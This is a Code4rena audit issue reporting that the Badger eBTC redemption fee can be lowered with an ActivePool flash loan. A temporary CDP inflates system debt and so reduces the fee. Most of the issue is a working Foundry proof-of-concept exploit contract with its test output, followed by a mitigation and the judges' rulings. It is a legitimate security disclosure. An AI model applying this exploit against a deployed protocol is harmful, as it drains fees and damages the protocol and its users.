code-423n4 / 2023-10-badger-findings

1 stars 1 forks source link

Users Can Manipulate The Redemption Fee Using ActivePool FlashLoan #216

Closed c4-submissions closed 9 months ago

c4-submissions commented 9 months ago

Lines of code

https://github.com/code-423n4/2023-10-badger/blob/f2f2e2cf9965a1020661d179af46cb49e993cb7e/packages/contracts/contracts/CdpManager.sol#L621

Vulnerability details

Description

Users can manipulate the redemption fee using a flash loan in the following way: A user wants to redeem X eBTC. They use a flash loan to borrow as much collateral from the system as possible leaving only the amount needed for their redemption. Using the loan they open a CDP and borrow eBTC against it, thus arficially increasing the system debt and by that reducing the baseRate calculated here. The user can then redeem X eBTC for a reduced fee, close the opened CDP and repay the flashloan plus fee. The POC proves this can be done with a significant overall cost reduction (accounting for the flash fee) for the user.

Impact

A malicious party can deploy a contract that allows anyone to redeem eBTC rigging the fee system using this method. This will have a sifnificant affect on protocol fees as well as break the intended system economics, potentially leading for the entire protocol to be taken down and relaunched with a fix.

Proof of Concept

The following test can be added and run under the foundry_test folder. Run each test once: forge test --match-test testRedemptionFeeManipulation -vv then forge test --match-test testRedemptionFeeNoManipulation -vv to compare the fees paid with and without the manipulation. Note that for the test data the actor can reduce their cost by more than 40%

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import {console2} from "forge-std/console2.sol";
import {eBTCBaseFixture} from "./BaseFixture.sol";
import {IERC3156FlashBorrower} from "../contracts/Interfaces/IERC3156FlashBorrower.sol";
import {IERC20} from "../contracts/Dependencies/IERC20.sol";

contract FlashLoanManipulation is eBTCBaseFixture, IERC3156FlashBorrower {

    uint256 public amountToRedeem;
    address payable[] users;
    uint256 constant public SINGLE_DEPOSIT = 10000 ether;
    uint256 constant public NUM_DEPOSITORS = 6;
    uint256 constant public REDEMPTION_AMOUNT_DENOM = 5;
    uint256 public currPrice;
    uint256 public loanAmount;

    function setUp() public override {
        super.setUp();
        connectCoreContracts();
        connectLQTYContractsToCore();
        users = _utils.createUsers(NUM_DEPOSITORS);

          //initialize cdps
        currPrice = priceFeedMock.fetchPrice();        
        for (uint i=0;i<users.length;i++) {
            uint256 borrowedAmount = _utils.calculateBorrowAmount(SINGLE_DEPOSIT,currPrice,COLLATERAL_RATIO);
            _openTestCDP(users[i], SINGLE_DEPOSIT, borrowedAmount);
        }

        //transfer all eBTC from borrowers to this contract (the redeemer)
        for (uint i=0;i<users.length;i++) {
            vm.startPrank(users[i]);
            eBTCToken.transfer(address(this),eBTCToken.balanceOf(users[i]));
            vm.stopPrank();
        }
        //redeeming a part of the current debt
        amountToRedeem = eBTCToken.balanceOf(address(this)) / REDEMPTION_AMOUNT_DENOM;

        //set the loan amount to the maximum minus the collateral we plan to redeem so we don't run out of active pool collateral during the operation
        loanAmount = activePool.maxFlashLoan(address(collateral)) - (amountToRedeem / currPrice) * 1e18;
        //take 5% safety margin to not run out of pool collateral
        loanAmount = loanAmount * 950 / 1000;

        collateral.approve(address(borrowerOperations), type(uint256).max);
    }

    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external override returns (bytes32) {

        //create a new CDP with total received collateral
         uint256 borrowedAmount = _utils.calculateBorrowAmount(
            amount,
            priceFeedMock.fetchPrice(),
            COLLATERAL_RATIO
        );

       //open a temporary CDP with loaned Collateral just to increase system debt
        bytes32 cdpid = borrowerOperations.openCdp(borrowedAmount, HINT, HINT, amount);

        //redeem the amount intended for redemption (fee rate is reduced because of the temporarily increased debt)
         cdpManager.redeemCollateral(
            amountToRedeem,
            bytes32(0),
            bytes32(0),
            bytes32(0),
            uint256(0),
            0,
            1e18
        );

        //close the previously opened CDP
        borrowerOperations.closeCdp(cdpid);

        // Set allowance to caller to repay
        IERC20(token).approve(msg.sender, amount + fee);

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    function printResult(uint256 dTokenBefore, 
                        uint256 dTokenAfter,
                        uint256 collBefore,
                        uint256 collAfter) public {
        uint256 paidInColl = (dTokenBefore - dTokenAfter)*1e18 / currPrice ;
        uint256 gainedColl = collAfter - collBefore;

        console2.log("Paid debt in coll: %s, Gained coll: %s", paidInColl,gainedColl);
        if (gainedColl > paidInColl ) {
           console2.log("Net Gains: %s",( gainedColl -  paidInColl));
        } else {
            console2.log("Total Cost: %s", (paidInColl - gainedColl));
        }
        console2.log("Post-operation base rate: %s",cdpManager.baseRate());

    }

    function testRedemptionFeeManipulation() public {
        uint256 dtokenBefore = eBTCToken.balanceOf(address(this));
        uint256 collBefore = collateral.balanceOf(address(this));

        activePool.flashLoan(
            this,
            address(collateral),
            loanAmount,
            abi.encodePacked(uint256(0))
        );

        uint256 dtokenAfter = eBTCToken.balanceOf(address(this));
        uint256 collAfter = collateral.balanceOf(address(this));
        printResult(dtokenBefore,dtokenAfter,collBefore,collAfter);

        /*
        OUTPUT:
            Paid debt in coll: 6250000000000000000000, Gained coll: 5919373393060295793750
            Total Cost: 330626606939704206250
            Post-operation base rate: 45506257110352673
        */
    }

    function testRedemptionFeeNoManipulation() public {
        uint256 dtokenBefore = eBTCToken.balanceOf(address(this));
        uint256 collBefore = collateral.balanceOf(address(this));

        //redeem the amount intended for redemption (fee rate is reduced because of the temporarily increased debt)
         cdpManager.redeemCollateral(
            amountToRedeem,
            bytes32(0),
            bytes32(0),
            bytes32(0),
            uint256(0),
            0,
            1e18
        );

        uint256 dtokenAfter = eBTCToken.balanceOf(address(this));
        uint256 collAfter = collateral.balanceOf(address(this));

        printResult(dtokenBefore,dtokenAfter,collBefore,collAfter);
        /*
        OUTPUT:
            Paid debt in coll: 6250000000000000000000, Gained coll: 5697916666666666668750
            Total Cost: 552083333333333331250
            Post-operation base rate: 83333333333333333
        */
    }
}

Tools Used

Foundry

Recommended Mitigation Steps

This finding is caused by the fact that during the flash loan a discrepancy exists between the internal accounting of the system and the real collateral ballance of the pool (enabling the same collateral to be counted twice and consequently used to bloat up the system debt). A safe approach would be to block borrowerOperations all together during the flashloan and allow the loan to be used only externally.

Assessed type

Other

c4-pre-sort commented 9 months ago

bytes032 marked the issue as sufficient quality report

c4-pre-sort commented 9 months ago

bytes032 marked the issue as duplicate of #308

c4-judge commented 9 months ago

jhsagd76 changed the severity to 2 (Med Risk)

c4-judge commented 9 months ago

jhsagd76 marked the issue as satisfactory

c4-judge commented 9 months ago

jhsagd76 changed the severity to QA (Quality Assurance)